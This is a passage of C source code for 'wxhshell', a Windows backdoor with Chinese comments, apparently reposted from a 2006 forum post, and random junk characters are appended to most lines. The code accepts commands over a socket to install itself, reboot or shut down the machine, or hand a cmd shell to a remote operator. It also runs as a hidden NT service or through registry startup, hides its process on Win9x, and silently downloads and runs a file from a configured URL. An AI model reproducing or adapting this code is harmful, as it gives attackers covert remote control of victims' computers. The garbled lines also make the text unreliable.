    switch(cmd[0]) { w@w(-F!%l  
  U26}gT)  
  // 帮助 5vnrA'BhBU  
  case '?': { ~6LN6}~|.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @*KZ}i@._  
    break; <*cikXS  
  } &`2)V;t  
  // 安装 8$Y9ORs4  
  case 'i': { $X,D(  
    if(Install()) hf&9uHN%7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f x+/C8GK  
    else iSs:oH3l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~q25Yx9W@  
    break; /R wjCUf  
    } q9s=~d7  
  // 卸载 Jij*x>K>y  
  case 'r': { 4ID5q~  
    if(Uninstall()) +A?U{q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NU2;X (z[  
    else )MTOU47U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Ki[$bS~6  
    break; Z=vU}S>r|v  
    } aWF655Fs*  
  // 显示 wxhshell 所在路径 ?hy&  
  case 'p': { m^;f(IK5  
    char svExeFile[MAX_PATH]; Q*ft7$l&  
    strcpy(svExeFile,"\n\r"); }b.%Im<3R  
      strcat(svExeFile,ExeFile); J<jy2@"tXo  
        send(wsh,svExeFile,strlen(svExeFile),0); M[,@{u/  
    break; g{&ui.ml&  
    } ^.QzQ1=D  
  // 重启 D2~*&'4y  
  case 'b': { XVZ   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uJ v-4H  
    if(Boot(REBOOT)) {&1/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i3$CW  
    else { gp.^~p]x  
    closesocket(wsh); ?m"( S oh  
    ExitThread(0); *u;Iw{.{  
    } 1#+S+g@#  
    break; p H2Sbs:Tk  
    } ]Er$*7f  
  // 关机 ;>7De8v@@  
  case 'd': { Q*~]h;6\{d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w~qT1vCCN  
    if(Boot(SHUTDOWN)) Vs!Nmv`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak!G8'w  
    else { KJ4.4Zq{c  
    closesocket(wsh); P( 8OQL:  
    ExitThread(0); Qq|57X)P*  
    } FVJ GL  
    break; @|YH|/RF  
    } JT_ `.(  
  // 获取shell :eVq#3}  
  case 's': { A6(/;+n  
    CmdShell(wsh); DEZve Qr=  
    closesocket(wsh); 9q~s}='"  
    ExitThread(0); + ksVtG,  
    break; P+/e2Y  
  } tK\~A,=  
  // 退出 Ta\tYZj$  
  case 'x': { '/s)%bc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jdj4\j u  
    CloseIt(wsh); s!$7(Q86R  
    break; #S"nF@   
    } o&$A]ph8X  
  // 离开 _xhax+,! ~  
  case 'q': { {3aua:q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c5GuM|*7  
    closesocket(wsh); #KZBsa@p  
    WSACleanup(); ;NITc  
    exit(1); 9'bwWBf7  
    break; R8'RA%O9J  
        } (<C3Vts))  
  } rFL;'Cj@  
  } t1x1,SL  
YUk\Q%  
  // 提示信息 brUF6rQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?&1!vz  
} II,8O  
  } [d ]9Oa4  
TuaBm1S{f  
  return; h@ry y\9  
} Qt<&WB fn  
$ (x]  
// shell模块句柄 nAdf=D'P  
int CmdShell(SOCKET sock) |&i<bqLw:  
{ {"KMs[M  
STARTUPINFO si; `<d }V2rdz  
ZeroMemory(&si,sizeof(si)); DSn_0D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kE1TP]|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }k.Z~1y  
PROCESS_INFORMATION ProcessInfo; ncT&Gr   
char cmdline[]="cmd"; *\F~[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d%n-[ZL  
  return 0; X!EP$!  
} "3Y0`&:D  
:^h$AWR^f  
// 自身启动模式 -zfR)(zG  
int StartFromService(void) LZxNAua  
{ 4BpZJ~(p  
typedef struct "f OV^B  
{ s!$a \k  
  DWORD ExitStatus; :Zw2'IV  
  DWORD PebBaseAddress; AH~E)S  
  DWORD AffinityMask; R.<g3"Lm>  
  DWORD BasePriority;  rjnrju+  
  ULONG UniqueProcessId; e$Pj.>-<=  
  ULONG InheritedFromUniqueProcessId; mQ"-,mMI  
}   PROCESS_BASIC_INFORMATION; pOoEI+t  
DZtsy!xA  
PROCNTQSIP NtQueryInformationProcess; ;Q`lNFa  
a0H+.W+]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 67FWa   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7WzxA=*#  
bW(0Ng  
  HANDLE             hProcess; /od@!/  
  PROCESS_BASIC_INFORMATION pbi; X%x*f3[  
dioGAai'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O5BYD=7  
  if(NULL == hInst ) return 0; gw<q.XL  
$VOF Oc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kb!%-k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5wU]!bxr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SQ+Gvq%Q]  
) ;Y;Q  
  if (!NtQueryInformationProcess) return 0; iuul7VR-%  
Dk51z@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'i|YlMFIg  
  if(!hProcess) return 0; <t!W5q  
G7/ +ogV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Ou1KDy#)  
XC#oB~K'  
  CloseHandle(hProcess); aV0"~5  
]\HvKCN}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /&J T~M  
if(hProcess==NULL) return 0; %JTpI`  
":N9(}9  
HMODULE hMod; 9 QJyZ  
char procName[255]; 4Ftu  
unsigned long cbNeeded; N!tX<u~2  
R[+<^s}p/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SOaoo^,O  
<qt|d&  
  CloseHandle(hProcess); +R75v)  
gf\oC> N  
if(strstr(procName,"services")) return 1; // 以服务启动 +R:(_:7  
Pr C{'XDlU  
  return 0; // 注册表启动 XW92gI<O  
} 0jWVp- y  
< I``&>  
// 主模块 as =fCuJ  
int StartWxhshell(LPSTR lpCmdLine) %^6F_F_jS  
{ {?7Uj  
  SOCKET wsl; w_VP J  
BOOL val=TRUE; b*lkBqs$  
  int port=0; MomwX  
  struct sockaddr_in door; YtLt*Ig%  
vW@=<aS Z  
  if(wscfg.ws_autoins) Install(); Y8t8!{ytg  
j<e2d7oN  
port=atoi(lpCmdLine); W\V.r$? v  
Ab;.5O$y  
if(port<=0) port=wscfg.ws_port; $<[79al#  
4s oJ.j8  
  WSADATA data; <IW$m!{VG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @IZnFHN  
~pky@O#b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3=V &K-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |;{6& S  
  door.sin_family = AF_INET; o^wqFX(Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fI|$K )K  
  door.sin_port = htons(port); b| (: [nB  
`">=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MiX43Pk]  
closesocket(wsl); h Xya*#n#  
return 1; AbOf6%Env  
} oxtay7fx  
a$fnh3j[  
  if(listen(wsl,2) == INVALID_SOCKET) { IdN41  
closesocket(wsl); tpx2 IE  
return 1; ]eV8b*d6  
} ?gXp*>Kg[  
  Wxhshell(wsl); DVeE1Q  
  WSACleanup(); asqV~n  
y|jq?M<A  
return 0; V28M lP  
43 :X,\~)  
} V]?R>qhgu  
l Nv|M)I  
// 以NT服务方式启动 @PIp* [7oC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` G kX  
{ \ 6MCxh6  
DWORD   status = 0; Ws12b $  
  DWORD   specificError = 0xfffffff; YchH~m|  
c1gQ cqF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; og>uj>H&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0IWf!Sk ]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 23jwAsSo  
  serviceStatus.dwWin32ExitCode     = 0; &6k3*dq  
  serviceStatus.dwServiceSpecificExitCode = 0; ,tRj4mx  
  serviceStatus.dwCheckPoint       = 0; [.}oyz; }N  
  serviceStatus.dwWaitHint       = 0; ;9'OOz|+1  
*n"{J(Jt`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8JUwf  
  if (hServiceStatusHandle==0) return; BLJj(-  
t3^&; &[  
status = GetLastError(); <\S:'g"(  
  if (status!=NO_ERROR) ]]Ufas9  
{ Yoll?_k+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h FBe,'3M  
    serviceStatus.dwCheckPoint       = 0; S`]k>' l  
    serviceStatus.dwWaitHint       = 0; Q=dy<kg']  
    serviceStatus.dwWin32ExitCode     = status; ?Ss!e$jf  
    serviceStatus.dwServiceSpecificExitCode = specificError; h@wgd~X9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |e0`nn=  
    return; K"@M,8hb  
  } f|oh.z_R  
AkiDL=;w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YZJyk:H\  
  serviceStatus.dwCheckPoint       = 0; M rb)  
  serviceStatus.dwWaitHint       = 0; l}M!8:UzU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ygl0k \  
} ] @fk] ]R  
6D_D';o  
// 处理NT服务事件,比如:启动、停止 MnW+25=N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q- d:TMkc  
{ Fv`,3aNB  
switch(fdwControl) g< .qUBPKX  
{ jZr q{Z<  
case SERVICE_CONTROL_STOP: B4 }bVjs  
  serviceStatus.dwWin32ExitCode = 0; 18:%~>.!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sdmT  
  serviceStatus.dwCheckPoint   = 0; ENY+^7  
  serviceStatus.dwWaitHint     = 0; 3"\lu?-E  
  { Od)C&N=y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo=jskBrQ  
  } ^pk7"l4Xm  
  return; U~7c+}:c  
case SERVICE_CONTROL_PAUSE: j"Pv0tehw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L_iFt!  
  break; @U}1EC{A  
case SERVICE_CONTROL_CONTINUE: BIL Lq8)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KKf   
  break; FaJ&GOM,  
case SERVICE_CONTROL_INTERROGATE: =_u4=4  
  break; hY8reQp1  
}; iAU@Yg`pt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >[*qf9$  
} (dSL7nel;L  
7D5]G-}x.  
// 标准应用程序主函数 lHX72s|V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y:a]00&)#Y  
{ 1&Zj  
I~XSn>-H  
// 获取操作系统版本 *;*r 8[U}q  
OsIsNt=GetOsVer(); HHsmLo c4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M =r)I~  
#;nYg?d=  
  // 从命令行安装 R~$qo)v  
  if(strpbrk(lpCmdLine,"iI")) Install(); CeC6hGR5  
~$?ZK]YOrx  
  // 下载执行文件 ea')$gR  
if(wscfg.ws_downexe) { 'b{]:Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `W*U4?M  
  WinExec(wscfg.ws_filenam,SW_HIDE); D}X\Ca"h  
} 8-77d^cprR  
'Qe;vZ31K  
if(!OsIsNt) { @s2y~0}#  
// 如果时win9x,隐藏进程并且设置为注册表启动 'q:`? nJ^  
HideProc(); :6\qpex  
StartWxhshell(lpCmdLine); :20W\P<O!A  
} Ciz X<Cr}  
else 3/n5#&c\4  
  if(StartFromService()) Jze:[MYS  
  // 以服务方式启动 JFk lUgg  
  StartServiceCtrlDispatcher(DispatchTable); !Q0w\j h  
else >\3V a  
  // 普通方式启动 Q$Q([Au  
  StartWxhshell(lpCmdLine); ,DkNLE  
6~w@PRy  
return 0; N//K Ph  
}
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只看该作者 1 发表于: 2006-10-10
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